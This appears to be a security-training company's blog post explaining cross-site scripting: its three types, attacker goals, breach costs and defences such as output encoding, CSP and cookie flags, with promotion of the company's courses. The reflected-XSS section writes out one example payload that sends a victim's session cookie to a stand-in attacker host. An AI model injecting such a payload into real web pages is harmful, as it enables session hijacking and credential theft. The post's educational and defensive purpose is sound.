In 2018, British Airways disclosed a breach that exposed the personal and financial data of roughly 380,000 customers. The attack vector? A modified JavaScript injected into the airline's payment page — a textbook cross-site scripting exploit. The UK's Information Commissioner's Office initially proposed a £183 million fine. That single XSS vulnerability turned into one of the most expensive web application failures in history.

If you've ever wondered what cross-site scripting actually is, how it works under the hood, and why it keeps showing up in breach after breach, this is your guide. I'm going to walk you through XSS the way I explain it to development teams and security analysts — with real mechanics, real examples, and real defenses.

Cross-Site Scripting Explained in 60 Seconds

What is cross-site scripting (XSS)? It's a web application vulnerability that allows a threat actor to inject malicious scripts — usually JavaScript — into pages viewed by other users. The victim's browser trusts the page, so it executes the script without question. That script can steal session cookies, capture keystrokes, redirect users to phishing sites, or rewrite the entire page content.

XSS isn't an attack against the server itself. It's an attack against every user who visits the compromised page. That distinction matters. Your server stays up, your logs look normal, but your customers are getting robbed in plain sight.

The Three Flavors of XSS (and Why Each One Hurts Differently)

Reflected XSS: The Drive-By Attack

Reflected XSS happens when user input — like a search query or URL parameter — gets bounced back by the server without sanitization. The malicious script lives in the URL itself. A threat actor crafts a link, sends it via email or social media, and waits for someone to click.

Here's a simplified example. Imagine a search page that displays "You searched for: [your query]." If the application doesn't sanitize that input, an attacker can inject <script>document.location='https://evil.example/steal?cookie='+document.cookie</script> right into the search parameter. The victim clicks the link, the browser executes the script, and the session cookie flies off to the attacker's server.

Reflected XSS is the most common type I encounter in penetration tests. It's also the type most closely linked to social engineering — the attacker still needs to trick someone into clicking a malicious link.

Stored XSS: The Persistent Threat

Stored XSS is far more dangerous. The malicious script gets saved in the application's database — in a forum post, a user profile field, a product review, or a support ticket. Every user who views that content gets hit automatically.

I've seen stored XSS in customer support portals where an attacker submits a ticket containing embedded JavaScript. When the support agent opens the ticket, the script executes in the agent's browser — often with elevated privileges. That's not a theoretical scenario. That's a Tuesday.

DOM-Based XSS: The Client-Side Trap

DOM-based XSS never touches the server. The vulnerability lives entirely in client-side JavaScript that manipulates the Document Object Model based on user input. Modern single-page applications are especially prone to this because they do so much rendering in the browser.

The tricky part? Traditional web application firewalls often miss DOM-based XSS entirely because the malicious payload never appears in the HTTP request to the server. Your security tools see clean traffic while the user's browser executes the attack.

What Attackers Actually Do With XSS

Let me be blunt: XSS is not a "low severity" finding, no matter what your vulnerability scanner's default risk rating says. Here's what I've seen threat actors accomplish with it.

Session Hijacking and Credential Theft

The most immediate payoff is stealing session tokens. Once an attacker has your session cookie, they are you — no password required. They can access your account, change your settings, and exfiltrate data. This is credential theft without ever cracking a password.

Multi-factor authentication helps with initial login, but it doesn't always protect against session hijacking. If the session token is already authenticated, the attacker bypasses MFA entirely.

Phishing From a Trusted Domain

XSS lets an attacker inject a fake login form directly into your legitimate website. The URL bar shows your real domain. The SSL certificate is valid. The user has zero visual indicators that anything is wrong. This is social engineering at its most devastating — the trust signal is your own brand.

Malware Distribution and Ransomware Delivery

An injected script can redirect users to exploit kits or trigger drive-by downloads. In targeted attacks, XSS has been used as the initial access vector for ransomware campaigns. The victim visits a trusted website, gets redirected through the injected script, and lands on a payload server.

Keylogging and Form Capture

A few lines of JavaScript can capture every keystroke on a page. Credit card numbers, passwords, personal messages — all of it streamed to the attacker in real time. This is exactly what happened in the British Airways breach.

The $4.88M Lesson Your Dev Team Needs to Hear

According to IBM's 2024 Cost of a Data Breach Report, the global average cost of a data breach hit $4.88 million. Web application vulnerabilities — XSS chief among them — remain a persistent root cause. The Verizon 2024 Data Breach Investigations Report found that web applications were the top vector in confirmed breaches, with credential theft and social engineering as dominant tactics.

XSS enables both. It steals credentials directly and supercharges social engineering by exploiting trusted domains. If your organization builds or hosts web applications, XSS isn't just a development problem. It's a business risk that touches compliance, legal liability, and customer trust.

How to Actually Defend Against Cross-Site Scripting

Input Validation: Your First Wall

Every piece of user input must be validated against a strict allowlist. If a field expects a phone number, reject anything that isn't digits and dashes. Never trust client-side validation alone — it's trivial to bypass. Server-side validation is mandatory.

But input validation alone isn't enough. It reduces attack surface, but it won't catch every edge case.

Output Encoding: The Non-Negotiable Defense

Output encoding (also called output escaping) is the single most effective defense against XSS. Before rendering any user-supplied data in HTML, JavaScript, CSS, or URL contexts, encode it so the browser treats it as data — not executable code.

Use context-appropriate encoding. HTML entity encoding for HTML body content. JavaScript encoding for inline scripts. URL encoding for URL parameters. OWASP's XSS Prevention Cheat Sheet is the best single reference I recommend to every development team.

Content Security Policy (CSP)

A well-configured Content Security Policy header tells the browser which scripts are authorized to run. A strict CSP that blocks inline scripts and restricts script sources to your own domains makes XSS exploitation dramatically harder — even if a vulnerability exists.

Start with Content-Security-Policy: default-src 'self'; script-src 'self' and tighten from there. Report-only mode lets you test before enforcing. CISA's guidance on web application security reinforces CSP as a critical layer.

Set the HTTPOnly flag on session cookies so JavaScript can't access them. Set Secure so they're only transmitted over HTTPS. Set SameSite=Strict or SameSite=Lax to prevent cross-origin cookie transmission. These three flags won't prevent XSS, but they dramatically limit what an attacker can do with it.

Security Awareness Training for Your Entire Team

Developers need to understand XSS at a code level, but your entire organization needs to understand the downstream effects. When an employee clicks a reflected XSS link in a phishing email, technical controls only help if they're in place. Security awareness fills the gaps.

Our cybersecurity awareness training program covers how web-based attacks like XSS intersect with social engineering. It's designed for real people in real organizations — not just developers.

For organizations dealing with high volumes of phishing attempts that leverage XSS-crafted URLs, our phishing awareness training for organizations runs realistic phishing simulations that teach employees to spot malicious links before they click.

Why Zero Trust Architecture Matters for XSS Defense

A zero trust approach assumes every request — even from authenticated users — could be malicious. Applied to web applications, this means:

  • Never trust user input, regardless of the source or authentication state.
  • Enforce least privilege on API endpoints so a hijacked session can't access everything.
  • Segment application functionality so a compromised component can't pivot laterally.
  • Log and monitor client-side errors and anomalous script execution.

Zero trust isn't a product you buy. It's a design philosophy that makes XSS exploitation less rewarding even when an attacker finds a vulnerability.

XSS in 2026: Still Here, Still Dangerous

I keep hearing people say XSS is a "solved problem." It's not. Modern JavaScript frameworks like React and Angular offer better default protections, but developers routinely bypass them with dangerouslySetInnerHTML or bypassSecurityTrustHtml. Server-side rendering reintroduces classic injection points. Third-party scripts and ad networks create supply-chain XSS risks that your own code reviews will never catch.

The OWASP Top 10 merged XSS into the broader "Injection" category in 2021 — not because it's less important, but because it's so pervasive it belongs in the same class as SQL injection. Every web application you build, buy, or host needs XSS testing as part of its security lifecycle.

Your XSS Defense Checklist

Here's what I tell every organization I work with:

  • Encode all output — context-specific encoding for HTML, JS, CSS, and URL contexts.
  • Validate all input — server-side, against strict allowlists.
  • Deploy Content Security Policy — block inline scripts and restrict script sources.
  • Set cookie flags — HTTPOnly, Secure, SameSite on every session cookie.
  • Use modern frameworks correctly — don't disable built-in XSS protections.
  • Scan regularly — automated DAST tools plus manual penetration testing.
  • Train your people — developers on secure coding, everyone else on recognizing phishing links that exploit XSS.
  • Monitor for anomalies — unusual script execution, unexpected outbound requests, CSP violation reports.

Cross-site scripting explained in simple terms is this: it turns your trusted website into the attacker's weapon. The browser does exactly what it's told, and XSS tells it to betray your users. The defenses exist. They're well-documented. The only question is whether your organization implements them before a threat actor finds the gap.